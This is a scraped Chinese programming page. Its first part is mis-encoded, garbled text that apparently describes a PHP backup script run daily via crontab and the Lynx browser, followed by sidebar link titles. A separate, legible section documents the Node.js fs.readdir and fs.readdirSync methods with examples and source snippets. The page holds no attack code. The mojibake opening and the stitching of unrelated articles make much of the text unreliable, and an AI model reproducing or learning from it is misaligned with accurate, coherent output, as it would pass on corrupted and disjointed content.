ä¸é¢çä¾åç¨åºå¯ä»¥ç¨æ¥æ©å æ为ä¸ä¸ªæ¡£æ¡å¤ä»½ç³»ç»ç¨åºãå½è¿ä¸ªç¨åºæ§è¡çæ¶åï¼å®ä¼å°æ°æ®åºçæ°æ®æ件å¤å¶å°å ¶å®ç®å½ä¸é¢å为å¤ä»½ä¹ç¨ãåªè¦ä¿®æ¹ç³»ç»çæ ç¨æ¡£æ¡å 容ï¼crontabï¼ï¼æ们便å¯ä»¥è®©è¿ä¸ªç¨åºèªå¨å¨æ¯å¤©çåºå®æ¶é´æ§è¡ä¸æ¬¡ï¼è¾¾å°ç³»ç»èªå¨å¤ä»½ï¼ä¸éè¦äººå·¥æå¨æ§è¡ã
å¦æä½ çç³»ç»ä¸é¢æå®è£ Lynx 软件ï¼Lynx æ¯ä¸ç§çº¯æåç Web æµè§å¨ï¼çè¯ï¼ä½ å¯ä»¥å¨ç³»ç»æç¨æ¡£æ¡éé¢å å ¥ä¸é¢è¿ç¬è®°å½æ¥è®©ç³»ç»å¨åºå®æ¶é´èªå¨æ¿æ´» Lynx 并ä¸å¼å«æ们ä¹åå好ç PHP å¤ä»½ç¨åºãå½ Lynx å¼å«ï¼æµè§ï¼æ们ç PHP ç¨åºçæ¶åï¼è¯¥ç¨åºå°±ä¼è¢«æ§è¡ï¼å¹¶ä¸äº§çå¤ä»½æ件ãä¸é¢è¿ä¸ªä¾åæä½ å¦ä½å¨æ¯å¤©æ©æ¨äºç¹éæ§è¡æ们çå¤ä»½ç¨åºï¼å¹¶ä¸å¨æ§è¡å®ä»¥åèªå¨å° Lynx ç¨åºå ³éï¼
æ¥èªï¼é«å¿é£ > ãphpã
ä¸ä¸ç¯ï¼php 导åºexcel ï¼htmlï¼
ä¸ä¸ç¯ï¼Windowsçæ¬Apache+phpçXhprofåºç¨ââ1
转èå°æçå¾ä¹¦é¦
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include å include_once æä»ä¹åå«ï¼r...
å天å¦ä¼PHP/第å 天ï¼PHPæ¥æãå¼ç¨
PHPä¸file_existsä¸is_file,is_dirçåºå«....
php å é¤ç®å½ä¸Nåéåå建çæææ件
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广åè¥éå¦ååä¸é©¬è¿ç¬æ¨æ¡¥ æåè´¨...
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èå¸å¸¸ç¨æå¦ç½ç«è´¦å·å¯ç 大éå
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debianä¸æ§å¶å°åVI彩è²æ¾ç¤º&ssh
Ubuntuä¸ä½¿ç¨SVN
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node.js中的fs.readdir方法使用说明
方法说明:
以异步的方式读取文件目录。
语法:
代码如下:
fs.readdir(path, [callback(err,files)])
由于该方法属于fs模块,使用前需要引入fs模块(var fs= require(“fs”) )
接收参数:
path 目录路径
callback 回调,传递两个参数 err 和 files,files是一个包含 “ 指定目录下所有文件名称的” 数组。
例子:
代码如下:
var fs = require('fs');
fs.readdir('readdirtest', function(err,files){
if(err){
console.log(err);
}
console.log(files);
})
源码:
代码如下:
fs.readdir = function(path, callback) {
callback = makeCallback(callback);
if (!nullCheck(path, callback)) return;
binding.readdir(pathModule._makeLong(path), callback);
};
node.js中的fs.readdirSync方法使用说明
方法说明:
同步版本的 fs.readdir() 。
方法将返回一个包含“指定目录下所有文件名称”的数组对象。
语法:
代码如下:
fs.readdirSync(path)
由于该方法属于fs模块,使用前需要引入fs模块(var fs= require(“fs”) )
接收参数:
path 目录路径
例子:
代码如下:
var fs = require('fs');
var readDir = fs.readdirSync('readdirtest');
console.log(readDir);
源码:
代码如下:
fs.readdirSync = function(path) {
nullCheck(path);
return binding.readdir(pathModule._makeLong(path));
};